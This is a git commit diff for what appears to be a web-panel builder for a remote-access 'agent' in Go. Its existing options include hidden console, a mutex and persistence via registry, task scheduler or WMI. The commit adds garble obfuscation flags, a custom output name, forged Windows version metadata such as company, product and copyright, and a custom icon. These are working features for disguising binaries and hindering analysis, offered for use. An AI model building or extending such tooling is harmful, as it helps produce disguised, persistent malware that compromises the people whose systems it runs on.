Add custom output name, assembly data, icon, and garble settings to builder
This commit is contained in:
@@ -91,6 +91,52 @@ if (persistenceCheckbox && persistenceMethodContainer) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]');
|
||||||
|
const garbleSettingsContainer = document.getElementById("garble-settings-container");
|
||||||
|
if (obfuscateCheckbox && garbleSettingsContainer) {
|
||||||
|
obfuscateCheckbox.addEventListener("change", () => {
|
||||||
|
if (obfuscateCheckbox.checked) {
|
||||||
|
garbleSettingsContainer.classList.remove("hidden");
|
||||||
|
} else {
|
||||||
|
garbleSettingsContainer.classList.add("hidden");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
let pendingIconBase64 = null;
|
||||||
|
const iconUpload = document.getElementById("icon-upload");
|
||||||
|
const iconLabel = document.getElementById("icon-label");
|
||||||
|
const iconClear = document.getElementById("icon-clear");
|
||||||
|
|
||||||
|
if (iconUpload) {
|
||||||
|
iconUpload.addEventListener("change", () => {
|
||||||
|
const file = iconUpload.files[0];
|
||||||
|
if (!file) return;
|
||||||
|
if (file.size > 1024 * 1024) {
|
||||||
|
alert("Icon file must be under 1MB");
|
||||||
|
iconUpload.value = "";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const reader = new FileReader();
|
||||||
|
reader.onload = () => {
|
||||||
|
const base64 = reader.result.split(",")[1];
|
||||||
|
pendingIconBase64 = base64;
|
||||||
|
if (iconLabel) iconLabel.textContent = file.name;
|
||||||
|
if (iconClear) iconClear.classList.remove("hidden");
|
||||||
|
};
|
||||||
|
reader.readAsDataURL(file);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (iconClear) {
|
||||||
|
iconClear.addEventListener("click", () => {
|
||||||
|
pendingIconBase64 = null;
|
||||||
|
if (iconUpload) iconUpload.value = "";
|
||||||
|
if (iconLabel) iconLabel.textContent = "Choose .ico file";
|
||||||
|
iconClear.classList.add("hidden");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
async function init() {
|
async function init() {
|
||||||
try {
|
try {
|
||||||
updateServerUrlPlaceholder();
|
updateServerUrlPlaceholder();
|
||||||
@@ -215,6 +261,16 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
'input[name="no-printing"]',
|
'input[name="no-printing"]',
|
||||||
).checked;
|
).checked;
|
||||||
|
|
||||||
|
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
|
||||||
|
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
|
||||||
|
const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
|
||||||
|
const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
|
||||||
|
const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || "";
|
||||||
|
const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || "";
|
||||||
|
const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || "";
|
||||||
|
const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
|
||||||
|
const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
|
||||||
|
|
||||||
const buildConfig = {
|
const buildConfig = {
|
||||||
platforms,
|
platforms,
|
||||||
serverUrl: serverUrl || undefined,
|
serverUrl: serverUrl || undefined,
|
||||||
@@ -228,6 +284,16 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
|
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
|
||||||
hideConsole,
|
hideConsole,
|
||||||
noPrinting,
|
noPrinting,
|
||||||
|
outputName: outputNameVal || undefined,
|
||||||
|
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||||
|
garbleTiny: obfuscate ? garbleTiny : undefined,
|
||||||
|
garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
|
||||||
|
assemblyTitle: assemblyTitle || undefined,
|
||||||
|
assemblyProduct: assemblyProduct || undefined,
|
||||||
|
assemblyCompany: assemblyCompany || undefined,
|
||||||
|
assemblyVersion: assemblyVersion || undefined,
|
||||||
|
assemblyCopyright: assemblyCopyright || undefined,
|
||||||
|
iconBase64: pendingIconBase64 || undefined,
|
||||||
};
|
};
|
||||||
|
|
||||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||||
|
|||||||
@@ -231,6 +231,23 @@
|
|||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Output Name -->
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">
|
||||||
|
Output Filename
|
||||||
|
</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="output-name"
|
||||||
|
name="output-name"
|
||||||
|
placeholder="agent (default)"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
|
||||||
|
/>
|
||||||
|
<p class="text-xs text-slate-500 mt-1">
|
||||||
|
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
<!-- Mutex -->
|
<!-- Mutex -->
|
||||||
<div>
|
<div>
|
||||||
<label
|
<label
|
||||||
@@ -387,6 +404,71 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Garble Settings (shown when obfuscate is checked) -->
|
||||||
|
<div id="garble-settings-container" class="hidden">
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2">
|
||||||
|
<i class="fa-solid fa-mask text-purple-400"></i> Garble Settings
|
||||||
|
</label>
|
||||||
|
<div class="flex flex-col gap-2 pl-3 border-l-2 border-purple-500/40">
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
|
||||||
|
<input type="checkbox" name="garble-literals" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span>Obfuscate Literals (-literals)</span>
|
||||||
|
<span class="text-xs text-slate-500">Obfuscate string and byte slice literals</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
|
||||||
|
<input type="checkbox" name="garble-tiny" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span>Tiny Mode (-tiny)</span>
|
||||||
|
<span class="text-xs text-slate-500">Remove extra info like filenames and line numbers from panics</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
<div>
|
||||||
|
<label class="block text-xs font-medium text-slate-400 mb-1" for="garble-seed">Seed</label>
|
||||||
|
<input type="text" id="garble-seed" name="garble-seed" placeholder="random (default)"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-purple-500 transition-colors" />
|
||||||
|
<p class="text-xs text-slate-500 mt-1">Alphanumeric seed for reproducible builds</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Windows Assembly / PE Metadata -->
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2">
|
||||||
|
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
|
||||||
|
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows only)</span>
|
||||||
|
</label>
|
||||||
|
<div class="flex flex-col gap-2">
|
||||||
|
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
|
<input type="text" id="assembly-product" name="assembly-product" placeholder="Product Name"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
|
<input type="text" id="assembly-company" name="assembly-company" placeholder="Company Name"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
|
<input type="text" id="assembly-version" name="assembly-version" placeholder="File Version (e.g. 1.0.0.0)"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
|
<input type="text" id="assembly-copyright" name="assembly-copyright" placeholder="Copyright"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Icon Upload -->
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2">
|
||||||
|
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
|
||||||
|
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows .ico, max 1MB)</span>
|
||||||
|
</label>
|
||||||
|
<div class="flex items-center gap-3">
|
||||||
|
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
|
||||||
|
<i class="fa-solid fa-upload text-yellow-400"></i>
|
||||||
|
<span id="icon-label">Choose .ico file</span>
|
||||||
|
<input type="file" id="icon-upload" name="icon-upload" accept=".ico" class="hidden" />
|
||||||
|
</label>
|
||||||
|
<button type="button" id="icon-clear" class="hidden text-xs text-red-400 hover:text-red-300">Clear</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<!-- Build Button -->
|
<!-- Build Button -->
|
||||||
<button
|
<button
|
||||||
type="submit"
|
type="submit"
|
||||||
|
|||||||
@@ -22,4 +22,14 @@ export type BuildConfig = {
|
|||||||
persistenceMethod?: string;
|
persistenceMethod?: string;
|
||||||
hideConsole?: boolean;
|
hideConsole?: boolean;
|
||||||
noPrinting?: boolean;
|
noPrinting?: boolean;
|
||||||
|
outputName?: string;
|
||||||
|
garbleLiterals?: boolean;
|
||||||
|
garbleTiny?: boolean;
|
||||||
|
garbleSeed?: string;
|
||||||
|
assemblyTitle?: string;
|
||||||
|
assemblyProduct?: string;
|
||||||
|
assemblyCompany?: string;
|
||||||
|
assemblyVersion?: string;
|
||||||
|
assemblyCopyright?: string;
|
||||||
|
iconBase64?: string;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { spawn } from "child_process";
|
import { spawn } from "child_process";
|
||||||
import { existsSync, mkdirSync } from "fs";
|
import { existsSync, mkdirSync, unlinkSync } from "fs";
|
||||||
import { dirname } from "path";
|
import { dirname } from "path";
|
||||||
|
|
||||||
interface CertOptions {
|
interface CertOptions {
|
||||||
@@ -91,11 +91,7 @@ ${additionalIPs.map((ip, i) => `IP.${i + 3} = ${ip}`).join("\n")}
|
|||||||
]);
|
]);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
await Bun.file(configPath)
|
unlinkSync(configPath);
|
||||||
.text()
|
|
||||||
.then(() => {
|
|
||||||
spawn("rm", ["-f", configPath]);
|
|
||||||
});
|
|
||||||
} catch {}
|
} catch {}
|
||||||
|
|
||||||
console.log(`[TLS] ✓ Certificate generated successfully`);
|
console.log(`[TLS] ✓ Certificate generated successfully`);
|
||||||
|
|||||||
@@ -66,6 +66,16 @@ type BuildProcessConfig = {
|
|||||||
hideConsole?: boolean;
|
hideConsole?: boolean;
|
||||||
noPrinting?: boolean;
|
noPrinting?: boolean;
|
||||||
builtByUserId?: number;
|
builtByUserId?: number;
|
||||||
|
outputName?: string;
|
||||||
|
garbleLiterals?: boolean;
|
||||||
|
garbleTiny?: boolean;
|
||||||
|
garbleSeed?: string;
|
||||||
|
assemblyTitle?: string;
|
||||||
|
assemblyProduct?: string;
|
||||||
|
assemblyCompany?: string;
|
||||||
|
assemblyVersion?: string;
|
||||||
|
assemblyCopyright?: string;
|
||||||
|
iconBase64?: string;
|
||||||
};
|
};
|
||||||
|
|
||||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||||
@@ -129,6 +139,9 @@ export async function startBuildProcess(
|
|||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let winresTempDir: string | null = null;
|
||||||
|
const generatedSysoFiles: string[] = [];
|
||||||
|
|
||||||
const buildStartedAt = Date.now();
|
const buildStartedAt = Date.now();
|
||||||
const keepAliveTimer = setInterval(() => {
|
const keepAliveTimer = setInterval(() => {
|
||||||
const elapsedMinutes = Math.floor((Date.now() - buildStartedAt) / 60_000);
|
const elapsedMinutes = Math.floor((Date.now() - buildStartedAt) / 60_000);
|
||||||
@@ -227,12 +240,120 @@ export async function startBuildProcess(
|
|||||||
const buildTag = uuidv4();
|
const buildTag = uuidv4();
|
||||||
sendToStream({ type: "output", text: `Build tag: ${buildTag}\n`, level: "info" });
|
sendToStream({ type: "output", text: `Build tag: ${buildTag}\n`, level: "info" });
|
||||||
|
|
||||||
|
if (config.outputName) {
|
||||||
|
sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" });
|
||||||
|
}
|
||||||
|
|
||||||
|
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64);
|
||||||
|
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
|
||||||
|
|
||||||
|
if (hasAssemblyData && hasWindowsTargets) {
|
||||||
|
sendToStream({ type: "status", text: "Generating Windows resource data..." });
|
||||||
|
|
||||||
|
const goEnvResult = await $`go env GOPATH`.quiet();
|
||||||
|
const goPath = goEnvResult.stdout.toString().trim();
|
||||||
|
const goBinDir = process.env.GOBIN || (goPath ? path.join(goPath, "bin") : "");
|
||||||
|
const winresExe = process.platform === "win32" ? "go-winres.exe" : "go-winres";
|
||||||
|
let winresBin = "go-winres";
|
||||||
|
|
||||||
|
let hasWinres = false;
|
||||||
|
if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) {
|
||||||
|
winresBin = path.join(goBinDir, winresExe);
|
||||||
|
hasWinres = true;
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
await $`go-winres version`.quiet();
|
||||||
|
hasWinres = true;
|
||||||
|
} catch {
|
||||||
|
try {
|
||||||
|
sendToStream({ type: "output", text: "Installing go-winres...\n", level: "info" });
|
||||||
|
await $`go install github.com/tc-hib/go-winres@latest`.env({ ...process.env, GOMODCACHE: goModCacheDir }).quiet();
|
||||||
|
if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) {
|
||||||
|
winresBin = path.join(goBinDir, winresExe);
|
||||||
|
hasWinres = true;
|
||||||
|
}
|
||||||
|
} catch (installErr: any) {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: Failed to install go-winres: ${installErr.message || installErr}. Assembly data/icon will be skipped.\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hasWinres) {
|
||||||
|
sendToStream({ type: "output", text: `Using go-winres: ${winresBin}\n`, level: "info" });
|
||||||
|
winresTempDir = path.join(outDir, `.winres-${buildId.substring(0, 8)}`);
|
||||||
|
fs.mkdirSync(winresTempDir, { recursive: true });
|
||||||
|
|
||||||
|
const winresConfig: any = {};
|
||||||
|
|
||||||
|
if (config.iconBase64) {
|
||||||
|
try {
|
||||||
|
const iconBuffer = Buffer.from(config.iconBase64, "base64");
|
||||||
|
const iconPath = path.join(winresTempDir, "icon.ico");
|
||||||
|
fs.writeFileSync(iconPath, iconBuffer);
|
||||||
|
winresConfig["RT_GROUP_ICON"] = { "#1": { "0000": "icon.ico" } };
|
||||||
|
sendToStream({ type: "output", text: `Icon embedded (${iconBuffer.length} bytes)\n`, level: "info" });
|
||||||
|
} catch (iconErr: any) {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: Failed to process icon: ${iconErr.message}. Skipping icon.\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const versionStr = config.assemblyVersion || "0.0.0.0";
|
||||||
|
const versionInfo: any = {
|
||||||
|
"0409": {
|
||||||
|
"FileDescription": config.assemblyTitle || "",
|
||||||
|
"ProductName": config.assemblyProduct || "",
|
||||||
|
"CompanyName": config.assemblyCompany || "",
|
||||||
|
"FileVersion": versionStr,
|
||||||
|
"ProductVersion": versionStr,
|
||||||
|
"LegalCopyright": config.assemblyCopyright || "",
|
||||||
|
"OriginalFilename": config.outputName ? (config.outputName + ".exe") : "",
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
winresConfig["RT_VERSION"] = {
|
||||||
|
"#1": {
|
||||||
|
"0000": {
|
||||||
|
"fixed": {
|
||||||
|
"file_version": versionStr,
|
||||||
|
"product_version": versionStr,
|
||||||
|
},
|
||||||
|
"info": versionInfo,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
const winresJsonPath = path.join(winresTempDir, "winres.json");
|
||||||
|
fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2));
|
||||||
|
sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" });
|
||||||
|
|
||||||
|
const sysoOutPrefix = path.join(clientDir, "cmd", "agent", "rsrc");
|
||||||
|
try {
|
||||||
|
const winresResult = await $`${winresBin} make --in ${winresJsonPath} --out ${sysoOutPrefix}`.cwd(winresTempDir).nothrow().quiet();
|
||||||
|
if (winresResult.exitCode !== 0) {
|
||||||
|
const stderr = winresResult.stderr.toString().trim();
|
||||||
|
sendToStream({ type: "output", text: `WARNING: go-winres failed (exit ${winresResult.exitCode}): ${stderr}\nBuilding without assembly data.\n`, level: "warn" });
|
||||||
|
} else {
|
||||||
|
const agentDir = path.join(clientDir, "cmd", "agent");
|
||||||
|
for (const f of fs.readdirSync(agentDir)) {
|
||||||
|
if (f.startsWith("rsrc") && f.endsWith(".syso")) {
|
||||||
|
generatedSysoFiles.push(path.join(agentDir, f));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sendToStream({ type: "output", text: `Windows resources generated (${generatedSysoFiles.length} .syso files)\n`, level: "info" });
|
||||||
|
}
|
||||||
|
} catch (winresErr: any) {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: go-winres failed: ${winresErr.message || winresErr}. Building without assembly data.\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
for (const platform of platformsToBuild) {
|
for (const platform of platformsToBuild) {
|
||||||
const [os, arch, ...rest] = platform.split("-");
|
const [os, arch, ...rest] = platform.split("-");
|
||||||
const goarm = arch === "armv7" ? "7" : undefined;
|
const goarm = arch === "armv7" ? "7" : undefined;
|
||||||
const actualArch = goarm ? "arm" : arch;
|
const actualArch = goarm ? "arm" : arch;
|
||||||
|
const namePrefix = config.outputName || "agent";
|
||||||
const outputName = deps.sanitizeOutputName(
|
const outputName = deps.sanitizeOutputName(
|
||||||
platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`,
|
platform.includes("windows") ? `${namePrefix}-${platform}.exe` : `${namePrefix}-${platform}`,
|
||||||
);
|
);
|
||||||
|
|
||||||
sendToStream({ type: "status", text: `Building ${platform}...` });
|
sendToStream({ type: "status", text: `Building ${platform}...` });
|
||||||
@@ -344,6 +465,15 @@ export async function startBuildProcess(
|
|||||||
|
|
||||||
if (config.obfuscate) {
|
if (config.obfuscate) {
|
||||||
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
|
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
|
||||||
|
if (config.garbleLiterals) {
|
||||||
|
sendToStream({ type: "output", text: "Garble: obfuscate literals (-literals)\n", level: "info" });
|
||||||
|
}
|
||||||
|
if (config.garbleTiny) {
|
||||||
|
sendToStream({ type: "output", text: "Garble: tiny mode (-tiny)\n", level: "info" });
|
||||||
|
}
|
||||||
|
if (config.garbleSeed) {
|
||||||
|
sendToStream({ type: "output", text: `Garble: seed=${config.garbleSeed}\n`, level: "info" });
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (config.noPrinting) {
|
if (config.noPrinting) {
|
||||||
@@ -356,21 +486,25 @@ export async function startBuildProcess(
|
|||||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||||
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
|
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
|
||||||
|
|
||||||
const buildCmd = config.obfuscate
|
const garbleFlags: string[] = [];
|
||||||
? (config.noPrinting
|
if (config.obfuscate) {
|
||||||
? (ldflags
|
if (config.garbleLiterals) garbleFlags.push("-literals");
|
||||||
? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
if (config.garbleTiny) garbleFlags.push("-tiny");
|
||||||
: $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
|
if (config.garbleSeed) garbleFlags.push(`-seed=${config.garbleSeed}`);
|
||||||
: (ldflags
|
}
|
||||||
? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
|
||||||
: $`garble build -o ${outDir}/${outputName} ./cmd/agent`))
|
const buildArgs: string[] = [];
|
||||||
: (config.noPrinting
|
if (config.noPrinting) buildArgs.push("-tags", "noprint");
|
||||||
? (ldflags
|
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
|
||||||
? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent");
|
||||||
: $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
|
|
||||||
: (ldflags
|
let buildCmd;
|
||||||
? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
|
if (config.obfuscate) {
|
||||||
: $`go build -o ${outDir}/${outputName} ./cmd/agent`));
|
const allArgs = [...garbleFlags, "build", ...buildArgs];
|
||||||
|
buildCmd = $`garble ${allArgs}`;
|
||||||
|
} else {
|
||||||
|
buildCmd = $`go build ${buildArgs}`;
|
||||||
|
}
|
||||||
|
|
||||||
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
|
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
|
||||||
let result: any;
|
let result: any;
|
||||||
@@ -445,5 +579,11 @@ export async function startBuildProcess(
|
|||||||
}, 60 * 60 * 1000);
|
}, 60 * 60 * 1000);
|
||||||
} finally {
|
} finally {
|
||||||
clearInterval(keepAliveTimer);
|
clearInterval(keepAliveTimer);
|
||||||
|
for (const sysoFile of generatedSysoFiles) {
|
||||||
|
try { fs.unlinkSync(sysoFile); } catch {}
|
||||||
|
}
|
||||||
|
if (winresTempDir) {
|
||||||
|
try { fs.rmSync(winresTempDir, { recursive: true, force: true }); } catch {}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -52,6 +52,16 @@ export async function handleBuildRoutes(
|
|||||||
disableMutex,
|
disableMutex,
|
||||||
hideConsole,
|
hideConsole,
|
||||||
noPrinting,
|
noPrinting,
|
||||||
|
outputName,
|
||||||
|
garbleLiterals,
|
||||||
|
garbleTiny,
|
||||||
|
garbleSeed,
|
||||||
|
assemblyTitle,
|
||||||
|
assemblyProduct,
|
||||||
|
assemblyCompany,
|
||||||
|
assemblyVersion,
|
||||||
|
assemblyCopyright,
|
||||||
|
iconBase64,
|
||||||
} = body;
|
} = body;
|
||||||
|
|
||||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||||
@@ -119,6 +129,21 @@ export async function handleBuildRoutes(
|
|||||||
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||||
? persistenceMethod.toLowerCase()
|
? persistenceMethod.toLowerCase()
|
||||||
: 'startup';
|
: 'startup';
|
||||||
|
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
|
||||||
|
? outputName.trim()
|
||||||
|
: undefined;
|
||||||
|
const safeGarbleSeed = typeof garbleSeed === "string" && /^[A-Za-z0-9]{1,64}$/.test(garbleSeed.trim())
|
||||||
|
? garbleSeed.trim()
|
||||||
|
: undefined;
|
||||||
|
const safeAssemblyVersion = typeof assemblyVersion === "string" && /^\d{1,5}\.\d{1,5}\.\d{1,5}\.\d{1,5}$/.test(assemblyVersion.trim())
|
||||||
|
? assemblyVersion.trim()
|
||||||
|
: undefined;
|
||||||
|
const safeStr = (val: any, max = 128) =>
|
||||||
|
typeof val === "string" && val.trim().length > 0 ? val.trim().slice(0, max) : undefined;
|
||||||
|
const safeIconBase64 = typeof iconBase64 === "string" && iconBase64.length > 0 && iconBase64.length <= 2 * 1024 * 1024
|
||||||
|
? iconBase64
|
||||||
|
: undefined;
|
||||||
|
|
||||||
deps.startBuildProcess(buildId, {
|
deps.startBuildProcess(buildId, {
|
||||||
platforms: allowedPlatforms,
|
platforms: allowedPlatforms,
|
||||||
serverUrl: safeServerUrl,
|
serverUrl: safeServerUrl,
|
||||||
@@ -133,6 +158,16 @@ export async function handleBuildRoutes(
|
|||||||
hideConsole: !!hideConsole,
|
hideConsole: !!hideConsole,
|
||||||
noPrinting: safeNoPrinting,
|
noPrinting: safeNoPrinting,
|
||||||
builtByUserId: user.userId,
|
builtByUserId: user.userId,
|
||||||
|
outputName: safeOutputName,
|
||||||
|
garbleLiterals: !!garbleLiterals,
|
||||||
|
garbleTiny: !!garbleTiny,
|
||||||
|
garbleSeed: safeGarbleSeed,
|
||||||
|
assemblyTitle: safeStr(assemblyTitle),
|
||||||
|
assemblyProduct: safeStr(assemblyProduct),
|
||||||
|
assemblyCompany: safeStr(assemblyCompany),
|
||||||
|
assemblyVersion: safeAssemblyVersion,
|
||||||
|
assemblyCopyright: safeStr(assemblyCopyright),
|
||||||
|
iconBase64: safeIconBase64,
|
||||||
});
|
});
|
||||||
|
|
||||||
return Response.json({ buildId });
|
return Response.json({ buildId });
|
||||||
|
|||||||
Reference in New Issue
Block a user